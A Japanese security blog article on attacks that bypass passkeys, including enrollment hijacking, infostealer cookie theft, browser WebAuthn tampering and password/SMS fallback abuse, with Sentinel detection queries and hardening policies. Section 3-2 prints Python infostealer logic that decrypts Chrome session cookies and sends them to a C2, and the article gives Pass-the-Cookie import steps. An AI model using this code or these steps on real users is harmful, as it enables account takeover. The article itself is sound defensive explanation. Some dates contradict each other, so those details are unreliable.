要旨
「パスキーさえ入れれば安全」——この認識は、2025年後半から急速に崩れ始めています。
2025年8月のDEF CON 32で、SquareXの研究者たちが衝撃的な発表を行いました。ブラウザを経由してパスキーの登録フローそのものを乗っ取ることができる、と[1]。同年4月以降、「O-UNC-066（通称 "Pink"）」と追跡される脅威アクターが、Microsoft Entrаのパスキー登録キャンペーンを悪用したヴィッシング（音声フィッシング）で数千のMicrosoft 365アカウントを侵害しています[2]。
パスキーがフィッシング耐性を持つのは事実です。しかし攻撃者たちはすでに「認証を突破する」のではなく「認証後の世界を攻撃する」方向にシフトしています。2025年だけでインフォスティーラーが940億件のブラウザクッキーを収集しました[3]。パスワードもMFAも突破せず、認証が完了した後のセッショントークンを盗むだけで、攻撃者はアカウントに「なりすます」ことができます。
本記事では、パスキー普及後に現れた4つの新攻撃クラス——登録フローハイジャック・セッションクッキー窃取・ブラウザ内パスキー操作・フォールバック経路の悪用——を技術的に解剖し、セキュリティエンジニアとして取るべき対策を論じます。
注意事項：本記事に記載する攻撃手法は、教育目的のセキュリティ情報共有を前提としています。
記事本文
1. パスキーが「何を解決し」「何を解決していないか」の正確な理解
1-1. パスキーが解決すること
パスキー（FIDO2/WebAuthn）がフィッシング耐性を持つ理由はOrigin Binding（オリジンバインド）という暗号学的特性にあります。
パスキーが守るもの：
攻撃者のAiTMプロキシ（login-m1crosoft.evil.com）
↓
ブラウザ: Relying Party ID を確認
↓
「evil.com」≠「microsoft.com」→ 署名を拒否 ✅
防げる攻撃：
✅ AiTM（中間者）フィッシングによるパスワード盗取
✅ 偽サイトへのクレデンシャル入力
✅ 認証情報のリプレイ攻撃
✅ クレデンシャルスタッフィング
2025年Q2時点で、デスクトップデバイスの98%、モバイルデバイスの95%がパスキーをサポートしており、パスキー対応アカウントはほぼゼロに近いアカウント乗っ取り率を記録しています[4]。
1-2. パスキーが解決しないこと
しかし、パスキーの保護範囲は「認証イベントの瞬間」に限定されます。
パスキーが守れないもの：
認証成功（パスキーが機能）
↓
セッショントークン（クッキー）発行
↓ ← ここが新しい戦場
デバイスが感染していれば…
↓
インフォスティーラーがクッキーを窃取 ❌
↓
攻撃者がクッキーをブラウザにインポート
↓
パスワードもパスキーも不要でアカウントにアクセス
防げない攻撃：
❌ 認証後のセッションクッキー窃取
❌ インフォスティーラーによるデバイスレベルの感染
❌ パスキー登録フロー自体のソーシャルエンジニアリング
❌ パスワードフォールバックを狙った攻撃
❌ ブラウザ拡張機能を経由したパスキー操作
"Authentication controls don't matter if the device itself is already compromised, and that's where infostealer malware continues to exploit a critical blind spot in the industry's rush toward passwordless security."
— Constella Intelligence, "The Industry's Passkey Pivot Ignores a Deeper Threat" [5]
https://constella.ai/blog/the-industrys-passkey-pivot-ignores-a-deeper-threat-device-level-infections/
2. 攻撃クラス①：登録フローハイジャック——「パスキーを相手に登録させる」
2-1. O-UNC-066キャンペーン（2026年4月〜）
2026年4月以降に確認された最も巧妙な攻撃は、パスキーの技術的な仕組みを一切攻撃しないものです。
PurpleSecおよびOktaが追跡するO-UNC-066グループは、Microsoft Entrаの「管理者がユーザーにパスキー登録を促す機能」を悪用しています[2]。
O-UNC-066 攻撃フロー：
Step 1: 標的の選定と偵察
攻撃者: LinkedIn/OSINT でMicrosoft 365管理者を特定
Step 2: ヴィッシング（音声フィッシング）
攻撃者: 「Microsoftのサポートです。セキュリティ強化のため
パスキーへの移行をお願いしています」と電話
↓
被害者: 正規のMicrosoftのドメインからのMFAプッシュを確認
Step 3: 管理者権限での不正操作
攻撃者: 侵害済みの管理者アカウントで
Microsoft Entrа → ユーザー管理 → パスキー登録開始
↓
被害者のデバイスに正規の登録リンクが届く
Step 4: 攻撃者のデバイスにパスキーを登録させる
攻撃者: 「届いたリンクをクリックして、表示されたQRコードを
このサポートURLで入力してください」と誘導
↓
被害者: 自分のパスキー認証器に攻撃者のデバイスを登録してしまう
Step 5: 完全アクセス確立
攻撃者: 自分のデバイスに登録されたパスキーでいつでもアクセス可能
↓ パスワードもMFAも不要
攻撃者: BEC・データ窃取・ランサムウェア展開
"They don't exploit a software vulnerability. They don't crack cryptographic keys. They simply convinced a legitimate Microsoft 365 administrator to initiate a passkey enrollment for an attacker-controlled device."
— PurpleSec, "Your Passkey Is Now Theirs" [2]
https://purplesec.org/blog/entra-passkey-hijack-o-unc-066/
2-2. なぜこの攻撃が成立するのか
問題の核心は「パスキー登録プロセスは企業管理者が開始できる」という正当な機能にあります。Microsoft Entrаは大企業でのパスキー展開を促進するため、管理者が全社的に登録キャンペーンを開始できる機能を実装しました。攻撃者はこの「正規の機能」をソーシャルエンジニアリングで悪用します。
"Passkeys are a highly trusted form of authentication, so when users see a biometric prompt, they take that as a signal for security. What they don't know is that attackers can easily fake passkey registrations and authentication by intercepting the passkey workflow in the browser."
— Shourya Pratap Singh, SquareX (Cybernews経由) [1]
https://cybernews.com/security/passkey-safety-browser-vulnerability-defcon/
対策：
# Microsoft Entra ID での対策：
# パスキー登録をIT管理者のみに制限するConditional Access
# 1. パスキー登録イベントに Token Protection を有効化
# 2. 登録は社内ネットワーク/VPNからのみ許可
# 3. 特権アカウントへのパスキー登録変更をSIEMでアラート
# KQLクエリ例（Microsoft Sentinel）：
# パスキー登録が通常フローと異なるIPから行われた場合に検出
AuditLogs
| where OperationName == "Register security info"
| where tostring(AdditionalDetails) contains "FIDO2SecurityKey"
| extend IPAddress = tostring(InitiatedBy.user.ipAddress)
| where IPAddress !in (allowed_corporate_ips)
| project TimeGenerated, UserPrincipalName, IPAddress, Result
3. 攻撃クラス②：セッションクッキー窃取（Pass-the-Cookie）——「認証後の世界」を攻撃する
3-1. インフォスティーラーという産業
パスキー普及後に最も現実的な脅威として浮上しているのが、インフォスティーラーによるセッショントークンの窃取です。
"In 2025, infostealer malware collected over 94 billion browser cookies."
— BrandDefense, "MFA Doesn't Protect You — Cookies Give You Away" [3]
https://brandefense.io/blog/mfa-doesnt-protect-you-cookies-give-you-away-the-rise-of-session-hijacking/
2025年のデータを整理します。
| 指標 | 数値 | 出典 |
|---|---|---|
| インフォスティーラーに感染したデバイス数（2025年） | 1,110万台 | Recorded Future/Flashpoint [6] |
| 盗まれたセキュリティ侵害クレデンシャル | 33億件 | Recorded Future/Flashpoint [6] |
| 収集されたブラウザクッキー | 940億件 | BrandDefense [3] |
| ランサムウェア被害者のうち事前にダークウェブでクッキーが漏洩 | 54% | BrandDefense [3] |
| Microsoft Sentinelで確認されたLummaC2感染数（2025年3〜5月） | 394,000台 | Microsoft/HP Wolf Security [7] |
主要なインフォスティーラーファミリーと2026年現在の状況：
| ファミリー | 特徴 | 2026年の状況 |
|---|---|---|
| LummaC2 | Chrome App-Bound Encryption バイパス実装済み | 法執行機関の摘発後も数週間で復活[7] |
| ACRStealer | 急速に拡大中 | 2026年Q1時点で最も活発なファミリーの一つ |
| StealC | 軽量・高速・ステルス性 | BaaS（Bots-as-a-Service）として流通 |
| Vidar | Chrome新防御もバイパス確認済み | ダークウェブで「ログ」として販売継続 |
3-2. 「ブラウザが暗号化しているから安全」という誤解
ChromeはApp-Bound Encryptionという保護機能を実装していますが、インフォスティーラーはすでに45日以内でバイパスを実装しました。
"App-Bound Encryption was released on July 30, 2024 and we first observed evidence of bypass capabilities as early as September 12, 2024, less than 45 days later."
— SpyCloud, "How Infostealer Malware Bypassed Chrome's App-Bound Cookie Encryption" [8]
https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/
インフォスティーラーがブラウザの暗号化を回避できる理由は、同一マシン上で動作する任意のプロセスがブラウザの復号化APIを呼び出せるというOSの設計上の前提にあります。
# インフォスティーラーの動作概念（防御理解のための疑似コード）
import os
import sqlite3
import json
# Chrome のクッキーデータベースへのパス
CHROME_COOKIE_PATH = os.path.expanduser(
"~\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
)
# ブラウザは DPAPI (Windows Data Protection API) で暗号化
# しかし同じユーザーコンテキストで動作するプロセスは復号可能
from win32crypt import CryptUnprotectData # 正規のWindowsAPI
def extract_session_cookies():
"""インフォスティーラーが実際に行うことの概念的説明"""
conn = sqlite3.connect(CHROME_COOKIE_PATH)
cursor = conn.cursor()
# セッションクッキーをすべて取得
cursor.execute("""
SELECT host_key, name, encrypted_value, expires_utc
FROM cookies
WHERE name IN (
'.ASPXAUTH', -- ASP.NET セッション
'ESTSAUTH', -- Microsoft Entra ID
'__Secure-1PSID', -- Google セッション
'sessionToken' -- 汎用セッション
)
""")
stolen_cookies = []
for host, name, encrypted_val, expires in cursor.fetchall():
# Windows DPAPIで復号（正規APIのため検知されにくい）
decrypted = CryptUnprotectData(encrypted_val[3:], None, None, None, 0)
stolen_cookies.append({
"host": host,
"name": name,
"value": decrypted[1].decode("utf-8"),
"expires": expires,
})
# C2サーバーに送信
exfiltrate_to_c2(stolen_cookies)
# 攻撃者はこのクッキーをブラウザ拡張機能やDevToolsでインポート
# → パスワードもパスキーも不要でアカウントにアクセス
3-3. Pass-the-Cookie攻撃——60秒でアカウントを乗っ取る
"The token is imported into the attacker's browser using standard developer tools or automation scripts — a process that takes under 60 seconds."
— BrandDefense [3]
https://brandefense.io/blog/mfa-doesnt-protect-you-cookies-give-you-away-the-rise-of-session-hijacking/
攻撃者はダークウェブで購入したインフォスティーラーのログから、有効なセッションクッキーを抽出し、Chrome DevToolsのApplication → Storage → Cookiesから直接インポートするだけです。パスキーはこのプロセスで一切関与しません——なぜなら攻撃者はログインしていないからです。「すでにログインしている状態」を再現しているだけです。
Pass-the-Cookie の攻撃フロー：
[ダークウェブ]
インフォスティーラーのログが $10〜$50 で販売
ファイル: victim_cookies.json
内容: {
"host": ".microsoft365.com",
"name": "ESTSAUTH",
"value": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"expires": "2026-09-01T00:00:00Z"
}
[攻撃者のブラウザ]
1. https://office.com にアクセス（ログインページ）
2. DevTools → Application → Cookies → 「.microsoft365.com」
3. 盗んだ ESTSAUTH クッキーを貼り付け
4. ページを再読み込み
[結果]
→ 被害者のMicrosoft 365アカウントに完全アクセス
→ パスワードリセット不要
→ パスキー/MFA確認なし
→ パスワードを変更しても既存セッションは継続することがある
対策：Device-Bound Session Credentials（DBSC）
Googleは2025年後半からDevice-Bound Session Credentials（DBSC）のOrigin Trialを開始しました。これはTPMチップを使ってセッションクッキーをデバイスに暗号的に紐づける技術で、クッキーを盗んでも別デバイスでの再利用を防ぎます[9]。
// DBSC の概念（ブラウザ側の実装例）
// セッションクッキーをTPMキーと結合することで
// クッキーの持ち出しを無意味にする
// サーバーサイド：Sec-Session-Registration ヘッダーを返す
// HTTP/1.1 200 OK
// Sec-Session-Registration: path="https://api.example.com/session/register",
// challenge="abc123", authorization="Bearer sessiontoken"
// ブラウザはTPMを使ってデバイス固有の署名を行う
// → 同じクッキー値を別のデバイスで使っても
// TPM署名が一致しないため拒否される
// 現時点（2026年）の対応状況：
// ✅ Chrome: Origin Trial開始
// 🔄 Firefox: 検討中
// 🔄 Safari: 未対応
4. 攻撃クラス③：ブラウザ内パスキー操作——DEF CON 32で示された脅威
4-1. SquareXが示した「ブラウザは信頼できない」問題
2025年8月のDEF CON 32でSquareXが発表した研究は、パスキーの暗号的な安全性とは別次元の問題を示しました。
"Attackers can register fake keys, bypass biometric checks, or force users to re-register their passkeys under an attacker-controlled environment. The problem isn't the cryptography, which remains intact. It's the assumption that the browser itself is trustworthy."
— Cybernews, "Users unaware their passkeys are hijacked, DEF CON 2025 shows" [1]
https://cybernews.com/security/passkey-safety-browser-vulnerability-defcon/
ブラウザ内パスキー操作の攻撃ベクター：
攻撃ベクター1: 悪意ある拡張機能
通常の Chrome 拡張機能は：
├── ページの DOM を読み書きできる
├── navigator.credentials オブジェクトに介入できる
└── WebAuthn の呼び出しをインターセプトできる
攻撃シナリオ：
1. 悪意ある拡張機能が navigator.credentials.create を上書き
2. 正規の登録要求をキャプチャ
3. ユーザーには生体認証プロンプトが表示される（正常に見える）
4. 実際には攻撃者制御のリレーサーバー経由で別デバイスに登録
攻撃ベクター2: ブラウザプロセスへのメモリアクセス
マルウェアがブラウザのメモリを読み取り：
├── WebAuthn 認証アサーション（署名済みチャレンジ）を盗む
└── 短い有効期限内に別のシステムでリプレイ
攻撃ベクター3: Authenticator API の偽装
悪意ある Android アプリが：
├── 正規の Authenticator APP の UI を模倣
└── ユーザーの生体認証を通過させつつ
攻撃者のクレデンシャルを登録
"Current security tools, including endpoint detection and response (EDR) and SASE platforms, lack visibility into the browser to catch these attacks."
— SquareX researcher via Cybernews [1]
https://cybernews.com/security/passkey-safety-browser-vulnerability-defcon/
4-2. 実装レベルのバリアンス問題
パスキーの仕様（WebAuthn Level 3）は堅牢ですが、実装は各プラットフォームに委ねられます。
Netcraftの研究は、一部のパスワードマネージャーが標準に完全準拠していないことを指摘しています。
"Bitwarden can use passkeys without prompting the user to re-enter a PIN or provide biometry. Though Bitwarden is still considered a strong password manager, examples like this show the issues that closed standards consortiums could create for transparency during the adoption period."
— Netcraft, "Phishing After Passkeys: What Attacks to Expect" [4]
https://www.netcraft.com/blog/phishing-after-passkeys-what-attacks-to-expect
一部の実装では、ユーザー検証（生体認証/PIN確認）がオプション扱いになっており、攻撃者が「サイレント認証」を実行できるケースがあります。
5. 攻撃クラス④：フォールバック経路の悪用——「裏口」はまだ開いている
5-1. パスワードフォールバックという「永久的な裏口」
多くのサービスがパスキーを導入しながら、UX配慮からパスワードによるフォールバックを残しています。これが攻撃者にとって「正面玄関ではなく裏口から入る」機会を提供します。
"A prerequisite is for online services to sunset password access so there's no back door available when migrating to passkey authentication."
— Dashlane, "2026 Security Forecast" [10]
https://www.dashlane.com/blog/2026-security-forecast
フォールバック攻撃の典型的フロー：
正規フロー（パスキー）：
ユーザー → パスキー認証 → アクセス
フォールバック悪用フロー（攻撃者）：
攻撃者 → 「別の方法でサインイン」をクリック
↓
パスワード認証ページへ
↓
クレデンシャルスタッフィング / フィッシングで取得した
パスワードで認証
↓
パスキーが完全に迂回される
悪化要因：
・ユーザーが「パスキーを設定した」と思って
パスワードを更新しなくなる
・古い・弱いパスワードがフォールバックとして残存
・SMS OTPフォールバックがAiTMで中継可能
5-2. SIM スワップとキャリアレベルの攻撃
パスキー移行後も、パスワードリセット時の「SMS確認」が残存する場合、SIMスワップ攻撃によるアカウント乗っ取りが可能です。
SIM スワップ + パスキー設定変更の攻撃フロー：
1. 攻撃者: ターゲットの電話番号を別SIMに移管（SIMスワップ）
2. 攻撃者: サービスの「パスワードを忘れた」をクリック
3. サービス: SMS認証コードを送信 → 攻撃者のSIMに届く
4. 攻撃者: パスワードリセット完了
5. 攻撃者: 既存のパスキーを削除して自分のパスキーを登録
6. 攻撃者: アカウントを完全制御
→ パスキーは存在したが、パスワードリセット経路で無力化
6. 検知と防御——「認証後の世界」を守る4つのアプローチ
6-1. セッション異常検知（SIEMルール）
// Microsoft Sentinel: セッションの地理的不一致を検知
// パスキー認証が成功した後、異なる場所からセッションが使用された場合
SigninLogs
| where TimeGenerated > ago(1h)
| where AuthenticationRequirement == "singleFactorAuthentication"
or tostring(AuthenticationDetails) contains "FIDO2"
// パスキーでの認証成功イベント
| summarize
AuthLocations = make_set(Location),
AuthIPs = make_set(IPAddress),
SessionIds = make_set(CorrelationId)
by UserPrincipalName, bin(TimeGenerated, 10m)
// 10分以内に複数の地域からアクセス = セッション窃取の可能性
| where array_length(AuthLocations) > 1
| project
TimeGenerated,
UserPrincipalName,
AuthLocations,
AuthIPs,
Alert = "Potential session hijack after passkey auth"
// パスキー登録が業務外時間・社外IPから行われた場合を検知
AuditLogs
| where OperationName contains "Register"
and TargetResources has "FIDO2"
| extend
RegisterIP = tostring(InitiatedBy.user.ipAddress),
RegisterUser = tostring(InitiatedBy.user.userPrincipalName),
RegisterTime = TimeGenerated
| where hourofday(RegisterTime) < 7
or hourofday(RegisterTime) > 21
// または社外IPからの登録
| where RegisterIP !in (corporate_ip_ranges)
| project RegisterTime, RegisterUser, RegisterIP,
Alert = "Off-hours/external passkey registration detected"
6-2. エンドポイントレベルの防御
# EDR/MDM ポリシー：インフォスティーラー対策
# 1. ブラウザのクッキーへのアクセスを監視
endpoint_policy:
browser_data_access:
monitor: true
alert_on:
- process_reads_chrome_cookies_db # Chrome クッキーDBへのアクセス
- process_reads_firefox_profile # Firefox プロファイルへのアクセス
- dpapi_decrypt_from_non_browser # ブラウザ以外のDPAPI呼び出し
suspicious_network:
alert_on:
- large_data_exfil_to_unknown_host # 不審なデータ送信
- dns_query_to_known_c2 # 既知C2へのDNSクエリ
# 2. Device-Bound Session Credentials（DBSC）の有効化
# Chrome の DBSC Origin Trial への参加
chrome_policy:
enable_dbsc: true
# Sec-Session-Registration ヘッダーをサポートするサービスと連携
6-3. パスキー登録の強化（企業向け）
# Microsoft Entra ID：パスキー登録をゼロトラストで保護
# 1. パスキー登録は承認済みデバイスからのみ許可
# Conditional Access Policy の設定
$caPolicy = @{
displayName = "Protect Passkey Registration"
state = "enabled"
conditions = @{
users = @{
includeUsers = @("All")
}
applications = @{
# セキュリティ情報の登録（MFA/パスキー登録）
includeUserActions = @("urn:user:registersecurityinfo")
}
}
grantControls = @{
operator = "AND"
builtInControls = @(
"compliantDevice", # 準拠デバイスのみ
"domainJoinedDevice" # ドメイン参加デバイスのみ
)
}
sessionControls = @{
# 登録セッションをトークンに紐づける
disableResilienceDefaults = $false
}
}
# 2. パスキー登録の監査ログを長期保持（デフォルト30日→延長）
# Log Analytics ワークスペースへのエクスポート設定
# 3. 特権アカウントのパスキー変更に追加承認フローを設ける
6-4. ダークウェブモニタリングと「ログ」の監視
インフォスティーラーのログは、攻撃実行の前にダークウェブに出回ります。これをプロアクティブに監視することで、侵害の早期発見が可能です。
"Track stolen credentials, session cookies, and tokens showing up in infostealer logs and underground markets. These exposures are often the first sign of a compromise."
— Constella Intelligence [5]
https://constella.ai/blog/the-industrys-passkey-pivot-ignores-a-deeper-threat-device-level-infections/
54%のランサムウェア被害者は、攻撃が発生する前にダークウェブでクレデンシャルが確認できる状態でした[3]。この「事前シグナル」を活用することが、セッションベース攻撃への最も現実的な先制対策です。
7. 攻撃クラス別・対策マトリクス
| 攻撃クラス | 具体的手法 | パスキー単体での対策 | 追加で必要な対策 |
|---|---|---|---|
| 登録フローハイジャック | ヴィッシング + 不正登録 | ❌ 防げない | 登録CA制限・SMSアラート・登録の地理/時間制限 |
| セッションクッキー窃取 | インフォスティーラー | ❌ 防げない | DBSC・EDR・ダークウェブ監視・セッション短命化 |
| ブラウザ内パスキー操作 | 悪意ある拡張機能 | △ 部分的 | 拡張機能のホワイトリスト管理・ブラウザ隔離 |
| フォールバック経路悪用 | パスワードフォールバック | ❌ 防げない | パスワードの完全廃止・フォールバック削除 |
| AiTM（本来パスキーが防ぐ） | 中間者フィッシング | ✅ 防げる | — |
| クレデンシャルスタッフィング | リスト攻撃 | ✅ 防げる（パスキー専用の場合） | パスワードフォールバック廃止が前提 |
8. まとめ——「パスキーで終わり」ではなく「パスキーから始まり」
パスキーはフィッシング耐性という点で従来のMFAを確実に超えています。しかし2025〜2026年の攻撃トレンドが示すのは、攻撃者が「認証レイヤーを攻撃する」から「認証後のレイヤーを攻撃する」に進化しているという現実です。
攻撃者の発想の転換を一文で表すとすれば：
"We don't need to break your passkey. We'll just wait until after you use it."
（パスキーを破る必要はない。使った後を狙えばいい）
セキュリティエンジニアが2026年に取るべき追加対策は明確です。
パスキー導入後に必要な追加対策（優先順位順）：
1. 【最優先】インフォスティーラー対策
├── EDR/NGAV でのエンドポイント保護
├── ブラウザデータアクセスの監視
└── ダークウェブモニタリング（クッキー漏洩の早期発見）
2. 【高優先】登録フローの保護
├── パスキー登録を承認済みデバイス・場所に制限
├── 登録変更イベントのリアルタイムアラート
└── 特権アカウントの登録変更に追加承認フロー
3. 【高優先】フォールバック経路の廃止
├── パスワードフォールバックを段階的に削除
└── SMSフォールバックの廃止（SIMスワップ対策）
4. 【中優先】セッション管理の強化
├── DBSC（Device-Bound Session Credentials）の採用
├── セッション有効期限の短縮
└── トークンバインディング（Microsoft Entra Token Protection）
5. 【継続】ゼロトラスト原則の適用
└── 認証成功を「信頼」と見なさない
デバイス状態・場所・行動を継続的に評価する
パスキーは「セキュリティの終点」ではなく、より洗練された攻撃への移行を告げる「出発点」です。認証の問題を解決した後に現れる「認証後の世界」——セッション管理・デバイス信頼・サプライチェーン——こそが、次世代セキュリティの主戦場です。
参考文献
[1] Cybernews. "Users unaware their passkeys are hijacked, DEF CON 2025 shows." August 28, 2025.
https://cybernews.com/security/passkey-safety-browser-vulnerability-defcon/
[2] PurpleSec. "Your Passkey Is Now Theirs: How Hackers Are Hijacking Microsoft Entra Passkey Enrollment to Own Microsoft 365 Accounts." July 2026.
https://purplesec.org/blog/entra-passkey-hijack-o-unc-066/
[3] BrandDefense. "MFA Doesn't Protect You — Cookies Give You Away: The Rise of Session Hijacking." April 1, 2026.
https://brandefense.io/blog/mfa-doesnt-protect-you-cookies-give-you-away-the-rise-of-session-hijacking/
[4] Netcraft. "Phishing After Passkeys: What Attacks to Expect." April 7, 2026.
https://www.netcraft.com/blog/phishing-after-passkeys-what-attacks-to-expect
[5] Constella Intelligence. "The Industry's Passkey Pivot Ignores a Deeper Threat: Device-Level Infections." September 17, 2025.
https://constella.ai/blog/the-industrys-passkey-pivot-ignores-a-deeper-threat-device-level-infections/
[6] nflo.tech. "Infostealers and session theft — how to protect your company (MFA bypass)." June 17, 2026.
https://nflo.tech/knowledge-base/infostealers-session-theft-cookies-tokens-how-to-protect/
[7] HP Wolf Security. "Attackers Love Cookies: Tracing the Rise of Breaches Involving Session Cookie Theft." December 22, 2025.
https://threatresearch.ext.hp.com/tracing-the-rise-of-breaches-involving-session-cookie-theft/
[8] SpyCloud. "How Infostealer Malware Bypassed Chrome's App-Bound Cookie Encryption." February 2, 2025.
https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/
[9] Cyber Desserts Blog. "Top Infostealers in 2026: How They Work and How to Stop Them." April 8, 2026.
https://blog.cyberdesserts.com/what-are-infostealers/
[10] Dashlane. "2026 Security Forecast: A CTO's 5 Predictions About Passkeys, AI Threats, and More." December 17, 2025.
https://www.dashlane.com/blog/2026-security-forecast
[11] SpyCloud. "Passkeys: Their Impact & Their Vulnerabilities." June 10, 2025.
https://spycloud.com/blog/passkeys-their-impact-and-their-vulnerabilities/
[12] PanicVault. "The State of Password Security in 2026." February 14, 2026.
https://www.panicvault.org/trends/state-of-password-security/
[13] Schutz IT. "Vishing Attacks Exploit Passkey Enrollment: A New Threat." July 12, 2026.
https://schutzit.com/resources/vishing-attacks-exploit-passkey-enrollment-2026-07-11/
[14] MojoAuth. "Can Passkeys Be Exploited for Account Access?" January 26, 2026.
https://mojoauth.com/blog/can-passkeys-be-exploited-for-account-access
[15] Huntress. "Why Hackers Don't Need Passwords Anymore: From Cookies to Keys." May 26, 2026.
https://www.huntress.com/blog/why-hackers-don-t-need-passwords-anymore
[16] Huntress. "What Is Pass-the-Cookie? Definition, Examples & Prevention." March 18, 2026.
https://www.huntress.com/cybersecurity-101/topic/pass-the-cookie
[17] Cybercheck Security. "Session token theft: How infostealers bypass MFA."
https://cyberchecksecurity.com/en/insights/session_token_theft
[18] BleepingComputer. "Infostealer malware bypasses Chrome's new cookie-theft defenses." 2024.
https://www.bleepingcomputer.com/news/security/infostealer-malware-bypasses-chromes-new-cookie-theft-defenses/
[19] Google Chrome for Developers. "Device Bound Session Credentials (DBSC)." 2025.
https://developer.chrome.com/docs/privacy-security/device-bound-session-credentials
[20] Microsoft Learn. "Passkeys (FIDO2) authentication method in Microsoft Entra ID."
https://learn.microsoft.com/en-us/entra/identity/authentication/concept-authentication-passkeys-fido2